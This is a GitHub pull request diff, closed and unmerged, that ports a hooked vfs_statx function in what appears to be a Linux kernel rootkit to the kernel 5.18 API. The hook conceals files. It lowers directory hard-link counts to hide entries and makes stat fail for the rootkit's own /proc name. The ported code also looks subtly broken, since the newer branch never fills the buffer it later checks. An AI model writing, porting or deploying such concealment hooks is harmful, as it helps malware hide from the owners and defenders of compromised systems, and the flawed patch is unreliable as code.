Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

stat: Fix vfs_statx API change from kernel 5.18 #164

Closed
wants to merge 1 commit into from
Closed
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
16 changes: 16 additions & 0 deletions src/sys.c
Original file line number Diff line number Diff line change
Expand Up @@ -1009,8 +1009,13 @@ static __always_inline struct pt_regs *ftrace_get_regs(struct ftrace_regs *fregs
}
#endif

#if LINUX_VERSION_CODE < KERNEL_VERSION(5,18,0)
static long (*real_vfs_statx)(int, const char __user *, int, struct kstat *, u32);
static long m_vfs_statx(int dfd, const char __user *filename, int flags, struct kstat *stat, u32 request_mask) {
#else
static long (*real_vfs_statx)(int, struct filename *, int, struct kstat *, u32);
static long m_vfs_statx(int dfd, struct filename *filename, int flags, struct kstat *stat, u32 request_mask) {
#endif
/** XXX do I need this much */
char kernbuf[PROCNAME_MAXLEN+6] = {0};

Expand All @@ -1022,20 +1027,31 @@ static long m_vfs_statx(int dfd, const char __user *filename, int flags, struct
* and update hard-links counter accordingly.
* 2 make stat fail for /proc interface.
* */

#if LINUX_VERSION_CODE < KERNEL_VERSION(5,18,0)
if (!copy_from_user((void*)kernbuf, filename, sizeof(kernbuf)-1)) {
if (strlen(kernbuf) > 0 && S_ISDIR(stat->mode)) {
#else
if (strlen(filename->name) > 0 && S_ISDIR(stat->mode)) {
#endif
int count = fs_is_dir_inode_hidden((const char *)kernbuf, stat->ino);
if (count > 0) {
prinfo("%s: file match ino=%llu nlink=%d count=%d\n", __func__, stat->ino, stat->nlink, count);

/* Hit(s) -> decrement hard-link counts */
stat->nlink -= count;
}
#if LINUX_VERSION_CODE < KERNEL_VERSION(5,18,0)
} else if (strstr(kernbuf, PROCNAME)) {
#else
} else if (strstr(filename->name, PROCNAME)) {
#endif
/* Mauro? */
rv = -ENOENT;
}
#if LINUX_VERSION_CODE < KERNEL_VERSION(5,18,0)
}
#endif
return rv;
}

Expand Down
Loading